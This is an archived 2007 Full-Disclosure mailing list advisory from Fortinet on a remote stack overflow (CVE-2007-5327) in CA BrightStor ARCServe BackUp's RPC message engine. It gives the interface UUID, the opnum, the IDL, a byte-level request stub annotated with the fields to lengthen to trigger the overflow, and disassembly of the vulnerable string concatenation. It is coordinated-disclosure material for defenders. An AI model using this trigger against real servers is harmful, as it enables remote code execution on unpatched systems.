full-disclosure - CA BrightStor ARCServe BackUp Message Engine Remote Stack Overflow Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 11 Oct 2007 15:29:43 +0800
From: "hfli" <hfli@...tinet.com>
To: "full-disclosure" <full-disclosure@...ts.grok.org.uk>,
	"bugtraq" <bugtraq@...urityfocus.com>,
	"vulnwatch" <vulnwatch@...nwatch.org>
Subject: CA BrightStor ARCServe BackUp Message Engine
	Remote Stack Overflow Vulnerability

hi full-disclosure,


CA BrightStor ARCServe BackUp Message Engine Remote Stack Overflow Vulnerability

by cocoruder of Fortinet Security Research Team
http://ruder.cdut.net


Summary:

    A remote stack overflow vulnerability exist in the RPC interface of CA BrightStor ARCServe BackUp. An arbitrary anonymous attacker can execute arbitrary code on the affected system by exploiting this vulnerability.


Affected Software Versions:

    CA BrightStor ARCServe BackUp R11.5



Details::
	
    The flaw specifically exits within the CA BrightStor Message Engine due to incorrect handling of RPC requests on TCP port 6504. The interface is identified by 506b1890-14c8-11d1-bbc3-00805fa6962e v1.0. Opnum 0x10d specifies the vulnerable operation within this interface.

    Function 0x10d's IDL as follows:

	long   sub_28EA5F70 (
	 [in] handle_t  arg_1,
	 [in, out][size_is(256), length_is(1)] struct struct_2 * arg_2,
	 [in][string] char * arg_3,
	 [in][string] char * arg_4,
	 [in][string] char * arg_5,
	 [in][string] char * arg_6,
	 [in][string] char * arg_7,
	 [in] long  arg_8,
	 [out][size_is(arg_1)] byte * arg_9
	);

    The following is the normal stub of this function:

	my $stub=
	"\x00\x01\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".

	"\x10\x00\x00\x00\x00\x00\x00\x00".			#point1: the victim's computer name
	"\x10\x00\x00\x00".
	"kkk-49ade5b31c1".
	"\x00".
	
	"\x09\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00".	#point2: a string,set it long
	"Database".
	"\x00\x00\x00\x00".

	"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
	"\x00\x00\x00\x00".
	
	"\x1a\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00".	
	"RemoteDatabaseMachineName".
	"\x00\x00\x00".
		
	"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00".
	"\x00\x79\x49\x6e\x40\x00\x00\x00";


    When we set #point1 equal to the victim's computer name, and set #point2 is a long string, there will cause a stack base overflow vulnerability. The vulnerable code as follows: 
	
	.text:25604EF8                 lea     edx, [esp+120h+SubKey]
	.text:25604EFC                 push    offset asc_2561E2BC	
	.text:25604F01                 push    edx			;
	.text:25604F02                 call    edi ; lstrcatA		; 
	.text:25604F04                 lea     eax, [esp+120h+SubKey]
	.text:25604F08                 push    esi			;
	.text:25604F09                 push    eax			
	.text:25604F0A                 call    edi ; lstrcatA		; overflow!



Solution:

    CA has released an advisory for this vulnerability which is available on:

    http://supportconnectw.ca.com/public/storage/infodocs/basb-secnotice.asp

    Fortinet advisory can be found at:
    
    http://www.fortiguardcenter.com



CVE Information:

    CVE-2007-5327


Disclosure Timeline:

    2007.04.11        Vendor notified via email 
    2007.04.12        Vendor responded
    2007.10.11        Final public disclosure



Disclaimer:

    Although Fortinet has attempted to provide accurate information in
these materials, Fortinet assumes no legal responsibility for the
accuracy or completeness of the information. More specific information
is available on request from Fortinet. Please note that Fortinet's
product information does not constitute or contain any guarantee,
warranty or legally binding representation, unless expressly
identified as such in a duly signed writing.


Fortinet Security Research
secresearch@...tinet.com
http://www.fortinet.com


	

Best Regards,
 				

　　　　　　　　Haifei Li
　　　　　　　　hfli@...tinet.com
　　　　　　　　　　2007-10-11

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/